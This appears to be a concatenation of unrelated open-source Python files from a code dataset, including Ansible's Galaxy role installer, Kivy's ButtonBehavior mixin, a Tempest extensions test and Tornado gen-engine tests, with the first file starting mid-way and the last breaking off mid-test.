ns3::Hash::Implementation::Implementation(ns3::Hash::Implementation const & arg0) [copy constructor] cls.add_constructor([param('ns3::Hash::Implementation const &', 'arg0')]) ## hash-function.h (module 'core'): ns3::Hash::Implementation::Implementation() [constructor] cls.add_constructor([]) ## hash-function.h (module 'core'): uint32_t ns3::Hash::Implementation::GetHash32(char const * buffer, size_t const size) [member function] cls.add_method('GetHash32', 'uint32_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_pure_virtual=True, is_virtual=True) ## hash-function.h (module 'core'): uint64_t ns3::Hash::Implementation::GetHash64(char const * buffer, size_t const size) [member function] cls.add_method('GetHash64', 'uint64_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_virtual=True) ## hash-function.h (module 'core'): void ns3::Hash::Implementation::clear() [member function] cls.add_method('clear', 'void', [], is_pure_virtual=True, is_virtual=True) return def register_Ns3HashFunctionFnv1a_methods(root_module, cls): ## hash-fnv.h (module 'core'): ns3::Hash::Function::Fnv1a::Fnv1a(ns3::Hash::Function::Fnv1a const & arg0) [copy constructor] cls.add_constructor([param('ns3::Hash::Function::Fnv1a const &', 'arg0')]) ## hash-fnv.h (module 'core'): ns3::Hash::Function::Fnv1a::Fnv1a() [constructor] cls.add_constructor([]) ## hash-fnv.h (module 'core'): uint32_t ns3::Hash::Function::Fnv1a::GetHash32(char const * buffer, size_t const size) [member function] cls.add_method('GetHash32', 'uint32_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_virtual=True) ## hash-fnv.h (module 'core'): uint64_t ns3::Hash::Function::Fnv1a::GetHash64(char const * buffer, size_t const size) [member function] cls.add_method('GetHash64', 'uint64_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_virtual=True) ## hash-fnv.h (module 'core'): void ns3::Hash::Function::Fnv1a::clear() [member function] cls.add_method('clear', 'void', [], is_virtual=True) return def register_Ns3HashFunctionHash32_methods(root_module, cls): ## hash-function.h (module 'core'): ns3::Hash::Function::Hash32::Hash32(ns3::Hash::Function::Hash32 const & arg0) [copy constructor] cls.add_constructor([param('ns3::Hash::Function::Hash32 const &', 'arg0')]) ## hash-function.h (module 'core'): ns3::Hash::Function::Hash32::Hash32(ns3::Hash::Hash32Function_ptr hp) [constructor] cls.add_constructor([param('ns3::Hash::Hash32Function_ptr', 'hp')]) ## hash-function.h (module 'core'): uint32_t ns3::Hash::Function::Hash32::GetHash32(char const * buffer, size_t const size) [member function] cls.add_method('GetHash32', 'uint32_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_virtual=True) ## hash-function.h (module 'core'): void ns3::Hash::Function::Hash32::clear() [member function] cls.add_method('clear', 'void', [], is_virtual=True) return def register_Ns3HashFunctionHash64_methods(root_module, cls): ## hash-function.h (module 'core'): ns3::Hash::Function::Hash64::Hash64(ns3::Hash::Function::Hash64 const & arg0) [copy constructor] cls.add_constructor([param('ns3::Hash::Function::Hash64 const &', 'arg0')]) ## hash-function.h (module 'core'): ns3::Hash::Function::Hash64::Hash64(ns3::Hash::Hash64Function_ptr hp) [constructor] cls.add_constructor([param('ns3::Hash::Hash64Function_ptr', 'hp')]) ## hash-function.h (module 'core'): uint32_t ns3::Hash::Function::Hash64::GetHash32(char const * buffer, size_t const size) [member function] cls.add_method('GetHash32', 'uint32_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_virtual=True) ## hash-function.h (module 'core'): uint64_t ns3::Hash::Function::Hash64::GetHash64(char const * buffer, size_t const size) [member function] cls.add_method('GetHash64', 'uint64_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_virtual=True) ## hash-function.h (module 'core'): void ns3::Hash::Function::Hash64::clear() [member function] cls.add_method('clear', 'void', [], is_virtual=True) return def register_Ns3HashFunctionMurmur3_methods(root_module, cls): ## hash-murmur3.h (module 'core'): ns3::Hash::Function::Murmur3::Murmur3(ns3::Hash::Function::Murmur3 const & arg0) [copy constructor] cls.add_constructor([param('ns3::Hash::Function::Murmur3 const &', 'arg0')]) ## hash-murmur3.h (module 'core'): ns3::Hash::Function::Murmur3::Murmur3() [constructor] cls.add_constructor([]) ## hash-murmur3.h (module 'core'): uint32_t ns3::Hash::Function::Murmur3::GetHash32(char const * buffer, size_t const size) [member function] cls.add_method('GetHash32', 'uint32_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_virtual=True) ## hash-murmur3.h (module 'core'): uint64_t ns3::Hash::Function::Murmur3::GetHash64(char const * buffer, size_t const size) [member function] cls.add_method('GetHash64', 'uint64_t', [param('char const *', 'buffer'), param('size_t const', 'size')], is_virtual=True) ## hash-murmur3.h (module 'core'): void ns3::Hash::Function::Murmur3::clear() [member function] cls.add_method('clear', 'void', [], is_virtual=True) return def register_functions(root_module): module = root_module register_functions_ns3_FatalImpl(module.get_submodule('FatalImpl'), root_module) register_functions_ns3_Hash(module.get_submodule('Hash'), root_module) register_functions_ns3_TracedValueCallback(module.get_submodule('TracedValueCallback'), root_module) return def register_functions_ns3_FatalImpl(module, root_module): return def register_functions_ns3_Hash(module, root_module): register_functions_ns3_Hash_Function(module.get_submodule('Function'), root_module) return def register_functions_ns3_Hash_Function(module, root_module): return def register_functions_ns3_TracedValueCallback(module, root_module): return def main(): out = FileCodeSink(sys.stdout) root_module = module_init() register_types(root_module) register_methods(root_module) register_functions(root_module) root_module.generate(out) if __name__ == '__main__': main()
bijaydev/Implementation-of-Explicit-congestion-notification-ECN-in-TCP-over-wireless-network-in-ns-3
src/flow-monitor/bindings/modulegen__gcc_ILP32.py
Python
gpl-2.0
454,665
######################################################################## # # (C) 2015, Brian Coca <bcoca@ansible.com> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # ######################################################################## from __future__ import (absolute_import, division, print_function) __metaclass__ = type import datetime import os import tarfile import tempfile import yaml from distutils.version import LooseVersion from shutil import rmtree import ansible.constants as C from ansible.errors import AnsibleError from ansible.module_utils.urls import open_url from ansible.playbook.role.requirement import RoleRequirement from ansible.galaxy.api import GalaxyAPI try: from __main__ import display except ImportError: from ansible.utils.display import Display display = Display() class GalaxyRole(object): SUPPORTED_SCMS = set(['git', 'hg']) META_MAIN = os.path.join('meta', 'main.yml') META_INSTALL = os.path.join('meta', '.galaxy_install_info') ROLE_DIRS = ('defaults','files','handlers','meta','tasks','templates','vars','tests') def __init__(self, galaxy, name, src=None, version=None, scm=None, path=None): self._metadata = None self._install_info = None self._validate_certs = not galaxy.options.ignore_certs display.debug('Validate TLS certificates: %s' % self._validate_certs) self.options = galaxy.options self.galaxy = galaxy self.name = name self.version = version self.src = src or name self.scm = scm if path is not None: if self.name not in path: path = os.path.join(path, self.name) self.path = path else: for role_path_dir in galaxy.roles_paths: role_path = os.path.join(role_path_dir, self.name) if os.path.exists(role_path): self.path = role_path break else: # use the first path by default self.path = os.path.join(galaxy.roles_paths[0], self.name) # create list of possible paths self.paths = [x for x in galaxy.roles_paths] self.paths = [os.path.join(x, self.name) for x in self.paths] def __repr__(self): """ Returns "rolename (version)" if version is not null Returns "rolename" otherwise """ if self.version: return "%s (%s)" % (self.name, self.version) else: return self.name def __eq__(self, other): return self.name == other.name @property def metadata(self): """ Returns role metadata """ if self._metadata is None: meta_path = os.path.join(self.path, self.META_MAIN) if os.path.isfile(meta_path): try: f = open(meta_path, 'r') self._metadata = yaml.safe_load(f) except: display.vvvvv("Unable to load metadata for %s" % self.name) return False finally: f.close() return self._metadata @property def install_info(self): """ Returns role install info """ if self._install_info is None: info_path = os.path.join(self.path, self.META_INSTALL) if os.path.isfile(info_path): try: f = open(info_path, 'r') self._install_info = yaml.safe_load(f) except: display.vvvvv("Unable to load Galaxy install info for %s" % self.name) return False finally: f.close() return self._install_info def _write_galaxy_install_info(self): """ Writes a YAML-formatted file to the role's meta/ directory (named .galaxy_install_info) which contains some information we can use later for commands like 'list' and 'info'. """ info = dict( version=self.version, install_date=datetime.datetime.utcnow().strftime("%c"), ) if not os.path.exists(os.path.join(self.path, 'meta')): os.makedirs(os.path.join(self.path, 'meta')) info_path = os.path.join(self.path, self.META_INSTALL) with open(info_path, 'w+') as f: try: self._install_info = yaml.safe_dump(info, f) except: return False return True def remove(self): """ Removes the specified role from the roles path. There is a sanity check to make sure there's a meta/main.yml file at this path so the user doesn't blow away random directories. """ if self.metadata: try: rmtree(self.path) return True except: pass return False def fetch(self, role_data): """ Downloads the archived role from github to a temp location """ if role_data: # first grab the file and save it to a temp location if "github_user" in role_data and "github_repo" in role_data: archive_url = 'https://github.com/%s/%s/archive/%s.tar.gz' % (role_data["github_user"], role_data["github_repo"], self.version) else: archive_url = self.src display.display("- downloading role from %s" % archive_url) try: url_file = open_url(archive_url, validate_certs=self._validate_certs) temp_file = tempfile.NamedTemporaryFile(delete=False) data = url_file.read() while data: temp_file.write(data) data = url_file.read() temp_file.close() return temp_file.name except Exception as e: display.error("failed to download the file: %s" % str(e)) return False def install(self): # the file is a tar, so open it that way and extract it # to the specified (or default) roles directory local_file = False if self.scm: # create tar file from scm url tmp_file = RoleRequirement.scm_archive_role(**self.spec) elif self.src: if os.path.isfile(self.src): # installing a local tar.gz local_file = True tmp_file = self.src elif '://' in self.src: role_data = self.src tmp_file = self.fetch(role_data) else: api = GalaxyAPI(self.galaxy) role_data = api.lookup_role_by_name(self.src) if not role_data: raise AnsibleError("- sorry, %s was not found on %s." % (self.src, api.api_server)) if role_data.get('role_type') == 'CON' and not os.environ.get('ANSIBLE_CONTAINER'): # Container Enabled, running outside of a container display.warning("%s is a Container Enabled role and should only be installed using " "Ansible Container" % self.name) if role_data.get('role_type') == 'APP': # Container Role display.warning("%s is a Container App role and should only be installed using Ansible " "Container" % self.name) role_versions = api.fetch_role_related('versions', role_data['id']) if not self.version: # convert the version names to LooseVersion objects # and sort them to get the latest version. If there # are no versions in the list, we'll grab the head # of the master branch if len(role_versions) > 0: loose_versions = [LooseVersion(a.get('name',None)) for a in role_versions] loose_versions.sort() self.version = str(loose_versions[-1]) elif role_data.get('github_branch', None): self.version = role_data['github_branch'] else: self.version = 'master' elif self.version != 'master': if role_versions and str(self.version) not in [a.get('name', None) for a in role_versions]: raise AnsibleError("- the specified version (%s) of %s was not found in the list of available versions (%s)." % (self.version, self.name, role_versions)) tmp_file = self.fetch(role_data) else: raise AnsibleError("No valid role data found") if tmp_file: display.debug("installing from %s" % tmp_file) if not tarfile.is_tarfile(tmp_file): raise AnsibleError("the file downloaded was not a tar.gz") else: if tmp_file.endswith('.gz'): role_tar_file = tarfile.open(tmp_file, "r:gz") else: role_tar_file = tarfile.open(tmp_file, "r") # verify the role's meta file meta_file = None members = role_tar_file.getmembers() # next find the metadata file for member in members: if self.META_MAIN in member.name: meta_file = member break if not meta_file: raise AnsibleError("this role does not appear to have a meta/main.yml file.") else: try: self._metadata = yaml.safe_load(role_tar_file.extractfile(meta_file)) except: raise AnsibleError("this role does not appear to have a valid meta/main.yml file.") # we strip off the top-level directory for all of the files contained within # the tar file here, since the default is 'github_repo-target', and change it # to the specified role's name installed = False while not installed: display.display("- extracting %s to %s" % (self.name, self.path)) try: if os.path.exists(self.path): if not os.path.isdir(self.path): raise AnsibleError("the specified roles path exists and is not a directory.") elif not getattr(self.options, "force", False): raise AnsibleError("the specified role %s appears to already exist. Use --force to replace it." % self.name) else: # using --force, remove the old path if not self.remove(): raise AnsibleError("%s doesn't appear to contain a role.\n please remove this directory manually if you really want to put the role here." % self.path) else: os.makedirs(self.path) # now we do the actual extraction to the path for member in members: # we only extract files, and remove any relative path # bits that might be in the file for security purposes # and drop the leading directory, as mentioned above if member.isreg() or member.issym(): parts = member.name.split(os.sep)[1:] final_parts = [] for part in parts: if part != '..' and '~' not in part and '$' not in part: final_parts.append(part) member.name = os.path.join(*final_parts) role_tar_file.extract(member, self.path) # write out the install info file for later use self._write_galaxy_install_info() installed = True except OSError as e: error = True if e[0] == 13 and len(self.paths) > 1: current = self.paths.index(self.path) nextidx = current + 1 if len(self.paths) >= current: self.path = self.paths[nextidx] error = False if error: raise AnsibleError("Could not update files in %s: %s" % (self.path, str(e))) # return the parsed yaml metadata display.display("- %s was installed successfully" % str(self)) if not local_file: try: os.unlink(tmp_file) except (OSError,IOError) as e: display.warning("Unable to remove tmp file (%s): %s" % (tmp_file, str(e))) return True return False @property def spec(self): """ Returns role spec info { 'scm': 'git', 'src': 'http://git.example.com/repos/repo.git', 'version': 'v1.0', 'name': 'repo' } """ return dict(scm=self.scm, src=self.src, version=self.version, name=self.name)
emersonsoftware/ansiblefork
lib/ansible/galaxy/role.py
Python
gpl-3.0
14,352
import numpy import os class ByteOrder: LittleEndian, BigEndian = range(2) class FeatureException(Exception): def __init__(self,msg): self.msg = msg def __str__(self): return repr(self.msg) def ReadLabel(filename): labels = numpy.loadtxt(filename, ndmin=1) return labels.astype(numpy.int32) class BaseReader(): def __init__(self, featureFile, labelFile, byteOrder=None): self.byteOrder = byteOrder self.featureFile = featureFile self.labelFile = labelFile self.done = False def _markDone(self): self.done = True def IsDone(self): return self.done def Read(self): pass def Cleanup(self): pass # no slashes or weird characters def GetUttId(self): return os.path.basename(self.featureFile) def getReader(fileformat, featureFile, labelFile): if fileformat.lower() == 'htk': import reader_htk return reader_htk.htkReader(featureFile, labelFile, ByteOrder.BigEndian) elif fileformat.lower() == 'htk_little': import reader_htk return reader_htk.htkReader(featureFile, labelFile, ByteOrder.LittleEndian) elif fileformat.lower() == 'bvec': import reader_bvec return reader_bvec.bvecReader(featureFile, labelFile) elif fileformat.lower() == 'atrack': import reader_atrack return reader_atrack.atrackReader(featureFile, labelFile) elif fileformat.lower() == 'kaldi': import reader_kaldi return reader_kaldi.kaldiReader(featureFile, labelFile) else: msg = "Error: Specified format '{}' is not supported".format(fileformat) raise Exception(msg)
likelyzhao/mxnet
example/speech-demo/io_func/feat_readers/common.py
Python
apache-2.0
1,508
# -*- encoding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # This module copyright (C) 2014 Akretion # (<http://www.akretion.com>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from openerp import pooler, SUPERUSER_ID from openerp.openupgrade import openupgrade, openupgrade_80 @openupgrade.migrate() def migrate(cr, version): pool = pooler.get_pool(cr.dbname) uid = SUPERUSER_ID openupgrade_80.set_message_last_post( cr, uid, pool, ['fleet.vehicule'] )
OpenUpgrade-dev/OpenUpgrade
addons/fleet/migrations/8.0.0.1/post_migration.py
Python
agpl-3.0
1,304
# Copyright 2012 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from oslo_log import log as logging from tempest.api.compute import base from tempest import config from tempest import test CONF = config.CONF LOG = logging.getLogger(__name__) class ExtensionsTestJSON(base.BaseV2ComputeTest): @test.idempotent_id('3bb27738-b759-4e0d-a5fa-37d7a6df07d1') def test_list_extensions(self): # List of all extensions if len(CONF.compute_feature_enabled.api_extensions) == 0: raise self.skipException('There are not any extensions configured') extensions = self.extensions_client.list_extensions()['extensions'] ext = CONF.compute_feature_enabled.api_extensions[0] if ext == 'all': self.assertIn('Hosts', map(lambda x: x['name'], extensions)) elif ext: self.assertIn(ext, map(lambda x: x['alias'], extensions)) else: raise self.skipException('There are not any extensions configured') # Log extensions list extension_list = map(lambda x: x['alias'], extensions) LOG.debug("Nova extensions: %s" % ','.join(extension_list)) @test.idempotent_id('05762f39-bdfa-4cdb-9b46-b78f8e78e2fd') @test.requires_ext(extension='os-consoles', service='compute') def test_get_extension(self): # get the specified extensions extension = self.extensions_client.show_extension('os-consoles') self.assertEqual('os-consoles', extension['extension']['alias'])
Tesora/tesora-tempest
tempest/api/compute/test_extensions.py
Python
apache-2.0
2,079
from django.conf import settings from django.contrib.sites.models import Site from celery import task from tower import ugettext as _ from kitsune.sumo.decorators import timeit from kitsune.sumo import email_utils @task() @timeit def send_award_notification(award): """Sends the award notification email :arg award: the django-badger Award instance """ @email_utils.safe_translation def _make_mail(locale, context, email): subject = _(u"You were awarded the '{title}' badge!").format( title=_(award.badge.title, 'DB: badger.Badge.title')) mail = email_utils.make_mail( subject=subject, text_template='kbadge/email/award_notification.ltxt', html_template='kbadge/email/award_notification.html', context_vars=context, from_email=settings.DEFAULT_FROM_EMAIL, to_email=email) return mail msg = _make_mail( locale=award.user.profile.locale, context={ 'host': Site.objects.get_current().domain, 'award': award, 'badge': award.badge, }, email=award.user.email ) # FIXME: this sends emails to the person who was awarded the # badge. Should we also send an email to the person who awarded # the badge? Currently, I think we shouldn't. email_utils.send_messages([msg])
orvi2014/kitsune
kitsune/kbadge/tasks.py
Python
bsd-3-clause
1,390
''' Button Behavior =============== The :class:`~kivy.uix.behaviors.button.ButtonBehavior` `mixin <https://en.wikipedia.org/wiki/Mixin>`_ class provides :class:`~kivy.uix.button.Button` behavior. You can combine this class with other widgets, such as an :class:`~kivy.uix.image.Image`, to provide alternative buttons that preserve Kivy button behavior. For an overview of behaviors, please refer to the :mod:`~kivy.uix.behaviors` documentation. Example ------- The following example adds button behavior to an image to make a checkbox that behaves like a button:: from kivy.app import App from kivy.uix.image import Image from kivy.uix.behaviors import ButtonBehavior class MyButton(ButtonBehavior, Image): def __init__(self, **kwargs): super(MyButton, self).__init__(**kwargs) self.source = 'atlas://data/images/defaulttheme/checkbox_off' def on_press(self): self.source = 'atlas://data/images/defaulttheme/checkbox_on' def on_release(self): self.source = 'atlas://data/images/defaulttheme/checkbox_off' class SampleApp(App): def build(self): return MyButton() SampleApp().run() See :class:`~kivy.uix.behaviors.ButtonBehavior` for details. ''' __all__ = ('ButtonBehavior', ) from kivy.clock import Clock from kivy.config import Config from kivy.properties import OptionProperty, ObjectProperty, \ BooleanProperty, NumericProperty from time import time class ButtonBehavior(object): ''' This `mixin <https://en.wikipedia.org/wiki/Mixin>`_ class provides :class:`~kivy.uix.button.Button` behavior. Please see the :mod:`button behaviors module <kivy.uix.behaviors.button>` documentation for more information. :Events: `on_press` Fired when the button is pressed. `on_release` Fired when the button is released (i.e. the touch/click that pressed the button goes away). ''' state = OptionProperty('normal', options=('normal', 'down')) '''The state of the button, must be one of 'normal' or 'down'. The state is 'down' only when the button is currently touched/clicked, otherwise its 'normal'. :attr:`state` is an :class:`~kivy.properties.OptionProperty` and defaults to 'normal'. ''' last_touch = ObjectProperty(None) '''Contains the last relevant touch received by the Button. This can be used in `on_press` or `on_release` in order to know which touch dispatched the event. .. versionadded:: 1.8.0 :attr:`last_touch` is a :class:`~kivy.properties.ObjectProperty` and defaults to `None`. ''' min_state_time = NumericProperty(0) '''The minimum period of time which the widget must remain in the `'down'` state. .. versionadded:: 1.9.1 :attr:`min_state_time` is a float and defaults to 0.035. This value is taken from :class:`~kivy.config.Config`. ''' always_release = BooleanProperty(False) '''This determines whether or not the widget fires an `on_release` event if the touch_up is outside the widget. .. versionadded:: 1.9.0 .. versionchanged:: 1.10.0 The default value is now False. :attr:`always_release` is a :class:`~kivy.properties.BooleanProperty` and defaults to `False`. ''' def __init__(self, **kwargs): self.register_event_type('on_press') self.register_event_type('on_release') if 'min_state_time' not in kwargs: self.min_state_time = float(Config.get('graphics', 'min_state_time')) super(ButtonBehavior, self).__init__(**kwargs) self.__state_event = None self.__touch_time = None self.fbind('state', self.cancel_event) def _do_press(self): self.state = 'down' def _do_release(self, *args): self.state = 'normal' def cancel_event(self, *args): if self.__state_event: self.__state_event.cancel() self.__state_event = None def on_touch_down(self, touch): if super(ButtonBehavior, self).on_touch_down(touch): return True if touch.is_mouse_scrolling: return False if not self.collide_point(touch.x, touch.y): return False if self in touch.ud: return False touch.grab(self) touch.ud[self] = True self.last_touch = touch self.__touch_time = time() self._do_press() self.dispatch('on_press') return True def on_touch_move(self, touch): if touch.grab_current is self: return True if super(ButtonBehavior, self).on_touch_move(touch): return True return self in touch.ud def on_touch_up(self, touch): if touch.grab_current is not self: return super(ButtonBehavior, self).on_touch_up(touch) assert(self in touch.ud) touch.ungrab(self) self.last_touch = touch if (not self.always_release and not self.collide_point(*touch.pos)): self._do_release() return touchtime = time() - self.__touch_time if touchtime < self.min_state_time: self.__state_event = Clock.schedule_once( self._do_release, self.min_state_time - touchtime) else: self._do_release() self.dispatch('on_release') return True def on_press(self): pass def on_release(self): pass def trigger_action(self, duration=0.1): '''Trigger whatever action(s) have been bound to the button by calling both the on_press and on_release callbacks. This simulates a quick button press without using any touch events. Duration is the length of the press in seconds. Pass 0 if you want the action to happen instantly. .. versionadded:: 1.8.0 ''' self._do_press() self.dispatch('on_press') def trigger_release(dt): self._do_release() self.dispatch('on_release') if not duration: trigger_release(0) else: Clock.schedule_once(trigger_release, duration)
inclement/kivy
kivy/uix/behaviors/button.py
Python
mit
6,290
from __future__ import absolute_import, division, print_function, with_statement import contextlib import datetime import functools import sys import textwrap import time import platform import weakref from tornado.concurrent import return_future, Future from tornado.escape import url_escape from tornado.httpclient import AsyncHTTPClient from tornado.ioloop import IOLoop from tornado.log import app_log from tornado import stack_context from tornado.testing import AsyncHTTPTestCase, AsyncTestCase, ExpectLog, gen_test from tornado.test.util import unittest, skipOnTravis from tornado.web import Application, RequestHandler, asynchronous, HTTPError from tornado import gen try: from concurrent import futures except ImportError: futures = None skipBefore33 = unittest.skipIf(sys.version_info < (3, 3), 'PEP 380 not available') skipNotCPython = unittest.skipIf(platform.python_implementation() != 'CPython', 'Not CPython implementation') class GenEngineTest(AsyncTestCase): def setUp(self): super(GenEngineTest, self).setUp() self.named_contexts = [] def named_context(self, name): @contextlib.contextmanager def context(): self.named_contexts.append(name) try: yield finally: self.assertEqual(self.named_contexts.pop(), name) return context def run_gen(self, f): f() return self.wait() def delay_callback(self, iterations, callback, arg): """Runs callback(arg) after a number of IOLoop iterations.""" if iterations == 0: callback(arg) else: self.io_loop.add_callback(functools.partial( self.delay_callback, iterations - 1, callback, arg)) @return_future def async_future(self, result, callback): self.io_loop.add_callback(callback, result) def test_no_yield(self): @gen.engine def f(): self.stop() self.run_gen(f) def test_inline_cb(self): @gen.engine def f(): (yield gen.Callback("k1"))() res = yield gen.Wait("k1") self.assertTrue(res is None) self.stop() self.run_gen(f) def test_ioloop_cb(self): @gen.engine def f(): self.io_loop.add_callback((yield gen.Callback("k1"))) yield gen.Wait("k1") self.stop() self.run_gen(f) def test_exception_phase1(self): @gen.engine def f(): 1 / 0 self.assertRaises(ZeroDivisionError, self.run_gen, f) def test_exception_phase2(self): @gen.engine def f(): self.io_loop.add_callback((yield gen.Callback("k1"))) yield gen.Wait("k1") 1 / 0 self.assertRaises(ZeroDivisionError, self.run_gen, f) def test_exception_in_task_phase1(self): def fail_task(callback): 1 / 0 @gen.engine def f(): try: yield gen.Task(fail_task) raise Exception("did not get expected exception") except ZeroDivisionError: self.stop() self.run_gen(f) def test_exception_in_task_phase2(self): # This is the case that requires the use of stack_context in gen.engine def fail_task(callback): self.io_loop.add_callback(lambda: 1 / 0) @gen.engine def f(): try: yield gen.Task(fail_task) raise Exception("did not get expected exception") except ZeroDivisionError: self.stop() self.run_gen(f) def test_with_arg(self): @gen.engine def f(): (yield gen.Callback("k1"))(42) res = yield gen.Wait("k1") self.assertEqual(42, res) self.stop() self.run_gen(f) def test_with_arg_tuple(self): @gen.engine def f(): (yield gen.Callback((1, 2)))((3, 4)) res = yield gen.Wait((1, 2)) self.assertEqual((3, 4), res) self.stop() self.run_gen(f) def test_key_reuse(self): @gen.engine def f(): yield gen.Callback("k1") yield gen.Callback("k1") self.stop() self.assertRaises(gen.KeyReuseError, self.run_gen, f) def test_key_reuse_tuple(self): @gen.engine def f(): yield gen.Callback((1, 2)) yield gen.Callback((1, 2)) self.stop() self.assertRaises(gen.KeyReuseError, self.run_gen, f) def test_key_mismatch(self): @gen.engine def f(): yield gen.Callback("k1") yield gen.Wait("k2") self.stop() self.assertRaises(gen.UnknownKeyError, self.run_gen, f) def test_key_mismatch_tuple(self): @gen.engine def f(): yield gen.Callback((1, 2)) yield gen.Wait((2, 3)) self.stop() self.assertRaises(gen.UnknownKeyError, self.run_gen, f) def test_leaked_callback(self): @gen.engine def f(): yield gen.Callback("k1") self.stop() self.assertRaises(gen.LeakedCallbackError, self.run_gen, f) def test_leaked_callback_tuple(self): @gen.engine def f(): yield gen.Callback((1, 2)) self.stop() self.assertRaises(gen.LeakedCallbackError, self.run_gen, f) def test_parallel_callback(self): @gen.engine def f(): for k in range(3): self.io_loop.add_callback((yield gen.Callback(k))) yield gen.Wait(1) self.io_loop.add_callback((yield gen.Callback(3))) yield gen.Wait(0) yield gen.Wait(3) yield gen.Wait(2) self.stop() self.run_gen(f) def test_bogus_yield(self): @gen.engine def f(): yield 42 self.assertRaises(gen.BadYieldError, self.run_gen, f) def test_bogus_yield_tuple(self): @gen.engine def f(): yield (1, 2) self.assertRaises(gen.BadYieldError, self.run_gen, f) def test_reuse(self): @gen.engine def f(): self.io_loop.add_callback((yield gen.Callback(0))) yield gen.Wait(0) self.stop() self.run_gen(f) self.run_gen(f) def test_task(self): @gen.engine def f(): yield gen.Task(self.io_loop.add_callback) self.stop() self.run_gen(f) def test_wait_all(self): @gen.engine def f(): (yield gen.Callback("k1"))("v1") (yield gen.Callback("k2"))("v2") results = yield gen.WaitAll(["k1", "k2"]) self.assertEqual(results, ["v1", "v2"]) self.stop() self.run_gen(f) def test_exception_in_yield(self): @gen.engine def f(): try: yield gen.Wait("k1") raise Exception("did not get expected exception") except gen.UnknownKeyError: pass self.stop() self.run_gen(f) def test_resume_after_exception_in_yield(self): @gen.engine def f(): try: yield gen.Wait("k1") raise Exception("did not get expected exception") except gen.UnknownKeyError: pass (yield gen.Callback("k2"))("v2") self.assertEqual((yield gen.Wait("k2")), "v2") self.stop() self.run_gen(f) def test_orphaned_callback(self): @gen.engine def f(): self.orphaned_callback = yield gen.Callback(1) try: self.run_gen(f) raise Exception("did not get expected exception") except gen.LeakedCallbackError: pass self.orphaned_callback() def test_multi(self): @gen.engine def f(): (yield gen.Callback("k1"))("v1") (yield gen.Callback("k2"))("v2") results = yield [gen.Wait("k1"), gen.Wait("k2")] self.assertEqual(results, ["v1", "v2"]) self.stop() self.run_gen(f) def test_multi_dict(self): @gen.engine def f(): (yield gen.Callback("k1"))("v1") (yield gen.Callback("k2"))("v2") results = yield dict(foo=gen.Wait("k1"), bar=gen.Wait("k2")) self.assertEqual(results, dict(foo="v1", bar="v2")) self.stop() self.run_gen(f) # The following tests explicitly run with both gen.Multi # and gen.multi_future (Task returns a Future, so it can be used # with either). def test_multi_yieldpoint_delayed(self): @gen.engine def f(): # callbacks run at different times responses = yield gen.Multi([ gen.Task(self.delay_callback, 3, arg="v1"), gen.Task(self.delay_callback, 1, arg="v2"), ]) self.assertEqual(responses, ["v1", "v2"]) self.stop() self.run_gen(f) def test_multi_yieldpoint_dict_delayed(self): @gen.engine def f(): # callbacks run at different times responses = yield gen.Multi(dict( foo=gen.Task(self.delay_callback, 3, arg="v1"), bar=gen.Task(self.delay_callback, 1, arg="v2"), )) self.assertEqual(responses, dict(foo="v1", bar="v2")) self.stop() self.run_gen(f) def test_multi_future_delayed(self): @gen.engine def f(): # callbacks run at different times responses = yield gen.multi_future([ gen.Task(self.delay_callback, 3, arg="v1"), gen.Task(self.delay_callback, 1, arg="v2"), ]) self.assertEqual(responses, ["v1", "v2"]) self.stop() self.run_gen(f) def test_multi_future_dict_delayed(self): @gen.engine def f(): # callbacks run at different times responses = yield gen.multi_future(dict( foo=gen.Task(self.delay_callback, 3, arg="v1"), bar=gen.Task(self.delay_callback, 1, arg="v2"), )) self.assertEqual(responses, dict(foo="v1", bar="v2")) self.stop() self.run_gen(f) @skipOnTravis @gen_test def test_multi_performance(self): # Yielding a list used to have quadratic performance; make # sure a large list stays reasonable. On my laptop a list of # 2000 used to take 1.8s, now it takes 0.12. start = time.time() yield [gen.Task(self.io_loop.add_callback) for i in range(2000)] end = time.time() self.assertLess(end - start, 1.0) @gen_test def test_multi_empty(self): # Empty lists or dicts should return the same type. x = yield [] self.assertTrue(isinstance(x, list)) y = yield {} self.assertTrue(isinstance(y, dict)) @gen_test def test_multi_mixed_types(self): # A YieldPoint (Wait) and Future (Task) can be combined # (and use the YieldPoint codepath) (yield gen.Callback("k1"))("v1") responses = yield [gen.Wait("k1"), gen.Task(self.delay_callback, 3, arg="v2")] self.assertEqual(responses, ["v1", "v2"]) @gen_test def test_future(self): result = yield self.async_future(1) self.assertEqual(result, 1) @gen_test def test_multi_future(self): results = yield [self.async_future(1), self.async_future(2)] self.assertEqual(results, [1, 2]) @gen_test def test_multi_dict_future(self): results = yield dict(foo=self.async_future(1), bar=self.async_future(2)) self.assertEqual(results, dict(foo=1, bar=2)) def test_arguments(self): @gen.engine def f(): (yield gen.Callback("noargs"))() self.assertEqual((yield gen.Wait("noargs")), None) (yield 